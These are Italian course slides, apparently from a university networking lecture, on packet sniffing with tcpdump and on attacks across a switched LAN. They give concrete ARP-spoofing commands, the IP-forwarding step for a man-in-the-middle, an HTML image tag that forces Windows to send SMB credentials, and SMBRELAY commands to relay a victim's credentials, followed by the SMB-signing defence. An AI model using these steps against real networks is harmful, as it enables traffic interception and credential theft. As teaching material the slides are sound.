Sniffing
Sniffer Un packet sniffer è un dispositivo di intercettazione che si connette a reti di computer ed "origlia" sul traffico di rete. Un programma di "sniffing" permette a qualcuno di ascoltare delle conversazioni tra computers. Perciò, i programmi di intercettazione di rete vengono forniti con una funzionalità nota come "analisi di protocollo", che gli permette di "decodificare" il traffico fra computer e di dargli un senso. Lo sniffing ha un vantaggio rispetto all'intercettazione telefonica: diverse reti utilizzano un "supporto condiviso".
Sniffer ethernet Uno Sniffer Ethernet è un programma in grado di “ascoltare” tutto il traffico che attraversa un dispositivo di rete piuttosto che intercettare solo quello indirizzato ad essa. Per consentire questa funzionalità il dispositivo di rete deve essere impostato in modalità promiscua.
Ethernet Ethernet è stata costruita su un principio di "condivisione": tutte le macchine sulla stessa rete, condividono lo stesso cavo. Questo comporta che tutte le macchine sono in grado di "vedere" tutto il traffico. Così, l'hardware Ethernet viene costruito con un "filtro" che ignora tutto il traffico che non gli appartiene. Fa questo ignorando tutti i frames contenenti indirizzo MAC non corrispondenti al proprio. Un programma di intercettazione disattiva questo filtro, ponendo l'hardware Ethernet in "modalità promiscua". Così Marco potrà vedere tutto il traffico tra Alice e Roberto, finchè saranno tutti sullo stesso cavo Ethernet.
Applicazioni Gli usi tipici di questi programmi di intercettazione includono: Analisi automatica della rete alla ricerca di passwords e nomi utente in chiaro: questo è un uso comune per gli hackers/crackers per consentirgli di accedere ai sistemi; Conversione dei dati in un formato umanamente leggibile: così che le persone possano leggere il traffico; Analisi delle anomalie: per scoprire eventuali problemi all'interno delle reti, come ad esempio, perchè il computer A non può comunicare con il computer B; Analisi delle prestazioni: per scoprire i colli di bottiglia nelle reti; Rilevazione delle intrusioni di rete: così da rilevare hackers/crackers (vedere http://www.robertgraham.com/pubs/network-intrusion-detection.html); Registrazione del traffico di rete: per creare registri a cui gli hackers non possano accedere e quindi cancellare.
Servizi vulnerabili Telnet e rlogin La cattura dei pacchetti permette di avere i tasti che l'utente preme man mano che questi vengono HTTP La versione di default di HTTP ha numerosi bachi. Diversi siti web utilizzano il metodo di autenticazione "Basic", che invia le password sul cavo in chiaro. Altri siti web utilizzano un'altra tecnica, richiedendo all'utente un nome utente ed una password, ma anche in questo caso i dati vengono inviati in rete in chiaro. SNMP Praticamente tutto il traffico SNMP è di tipo SNMPv1, il che non presenta un buon livello di sicurezza. Le password SNMP (chiamate stringa di comunità) vengono inviate sul cavo in chiaro. NNTP Password inviate in chiaro. Dati inviati in chiaro. POP Password inviate in chiaro. Dati inviati in chiaro. FTP Password inviate in chiaro. Dati inviati in chiaro. IMAP Password inviate in chiaro. Dati inviati in chiaro.
Applicativi sniffer Gli strumenti software utilizzati per eseguire Packet Sniffing sono detti “Sniffer”. Tcpdump Ethereal (grafico, ma esiste la versione testuale Tethereal) Dsniff Snort Sniffit
Hub e switch Per “sniffare” pacchetti occorre, fondamentalmente far funzionare lo Sniffer su una rete LAN connessa con un HUB e non con uno SWITCH. In una rete “hubbed” di n pc (A, B, C, …), se F vuole comunicare con C, i dati passano attraverso l’HUB.
Lo switch Uno SWITCH “conosce” sia quali sono i pc connessi, sia dove sono.
Ingannare lo switch Ciò rende più impegnativa l’attività di Packet Sniffing… MA NON IMPOSSIBILE!!!
Esempio tcpdump [ -adeflnNOpqRStuvxX ] [ -c count ] [ -C file_size ] [ -F file ] [ -i interface ] [ -m module ] [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ] [ -E algo:secret ] [ expression ] Tcpdump stampa a video l’header dei pacchetti in transito su una LAN che corrispondono alle caratteristiche indicate in expression.
Tcpdump: expressions Con le expression si definiscono i criteri qualitativi coi quali scegliere i pacchetti da visualizzare. Le expression consistono in una o più primitive precedute da “qualificatori”. I qualificatori sono: type, dir e proto.
Tcpdump qualificatori Type: host, net e port Es. ‘host 155.185.54.156’, ‘port 22’, ecc. Dir: src, dst, src or dst Es. ‘src 155.185.54.156’ Proto: ether, fddi, tr, ip, ip6, arp, rarp, decnet, tcp and udp Es. ‘tcp port 21‘, ‘arp net 155.185.54’
Esempi di pacchetti cabernet:/home/bulgaro# tcpdump 'port 22' 16:30:08.161783 cabernet.ing.unimo.it.40526 > twist.ing.unimo.it.ssh: S 1415445902:1415445902(0) win 5840 <mss 1460,sackOK,timestamp 20984976 0,nop,wscale 0> (DF) 16:30:08.161917 twist.ing.unimo.it.ssh > cabernet.ing.unimo.it.40526: S 1970918816:1970918816(0) ack 1415445903 win 5792 <mss 1460,sackOK,timestamp 34225219 20984976,nop,wscale 0> (DF) 16:30:08.161948 cabernet.ing.unimo.it.40526 > twist.ing.unimo.it.ssh: . ack 1 win 5840 <nop,nop,timestamp 20984976 34225219> (DF)
Attaccare una comunicazione Consideriamo tre macchine (A, B, C) collegate mediante uno switch Usiamo tcpdump per monitorare il traffico Se A e B stanno dialogando cosa vediamo sulla tre macchine ?????
Il protocollo ARP All’avvio A e B dovranno scambiarsi dei messaggi che permettano di associare i loro indirizzi IP a quelli fisici Ethernet La terza macchina vedrà l’unico pacchetto: 16:38:36.501274 arp who-has 192.168.1.3 tell 192.168.1.1 La risposta verrà inviata da 192.168.1.3 a 192.148.1.1: 16:38:36.509581 arp reply 192.168.1.3 is at 08:00:20:77:4d:db
Il protocollo ARP È possibile ingannare il richiedente ? Le tabelle ARP sono dinamiche …. Il comando arp –a permette di visualizzare la cache ARP
Corrompere la cache ARP Arpspoof: Usage: arpspoof [-i interface] [-t target] host Il host è la macchina che riceve i pacchetti che vogliamo intercettare Il target è la macchina che vogliamo ingannare corrompendo la cache ARP
Corrompere la cache ARP Per ottenere intergettare una intera comunicazione bilaterale occorre lanciare due volte il programma: #./arpspoof –i eth0 –t 192.168.1.1 192.168.1.3 #./arpspoof –i eth0 –t 192.168.1.3 192.168.1.1
Completare l’opera Affinché i pacchetti ritornino poi al corretto destinatario occorre che la macchina C li forwardi verso la corretta destinazione: #echo 1 > /proc/sys/net/ipv4/ip_forward
MITM MITM: Man in the Middle È una tipologia di attacco Nell’esempio precedente ci siamo inseriti in un comunicazione Potremmo modificare i pacchetti ….. Vediamo come sfruttare la situazione….
Attuare un attacco MITM Un sistema windows quando cerca di accedere ad una cartella remota si presenta con login ed hash della password usata dall’utente connesso alla macchina locale Mettendosi nel mezzo si può intercettare la password Per crackarla ….. Ma non solo
SMB di windows Il protocollo SMB di windows serve ad accedere a file remoti Il server è attivo sulle porte TCP 139 e TCP 445 Un semplice collegamento in un pagina html forza la vittima ad accedere alla nostra macchina presentando le proprie credenziali (cifrate): <img src=file://10.0.0.1/null.gif height=1 width=1></img>
Un programma utile !? SMBRELAY può essere utilizzato per catturare queste informazioni Occorre: Disabilitare i listeners di window …. Lanciare SMBRELAY SMBRELAY /E //visualizza le interfacce SMBRELAY /IR 10006 /IL 10006 /T 10.0.0.10 /R 10.0.0.50
Il relay Sia 10.11.22.33 la macchina con SMBRELAY in esecuzione (la nostra attacente 1) Sia 10.0.0.50 un secondo indirizzo IP che diamo all’interfaccia 10006 della nostra macchina Sia 10.0.0.10 la nostra vittima Forziamo in qualche modo la vittima a collegarsi a 10.11.22.33 (es. la pag html)
Attuare l’attacco SMBRELAY memorizza le credenziali della vittima quando questa cerca di accedere Interompe la sessione e ne apre una nuova verso la vittima ripresentando le stesse credenziali SMBRELAY effettuerà il relay di qualunque richiesta inviata a 10.0.0.50 alla macchina vittima insieme alle sue stesse credenziali Accedendo ad un cartella condivisa: \\10.0.0.50\docs in realtà la nostra richiesta viene fatta rimbalzare su 10.0.0.1 con le credenziali corrette
Come difendersi Esiste da tempo un servizio SMB signing È possibile attivarlo agendo sul registro già in NT Server ed NT workstation (SP3) Esso annulla la possibilità di usare SMBRELAY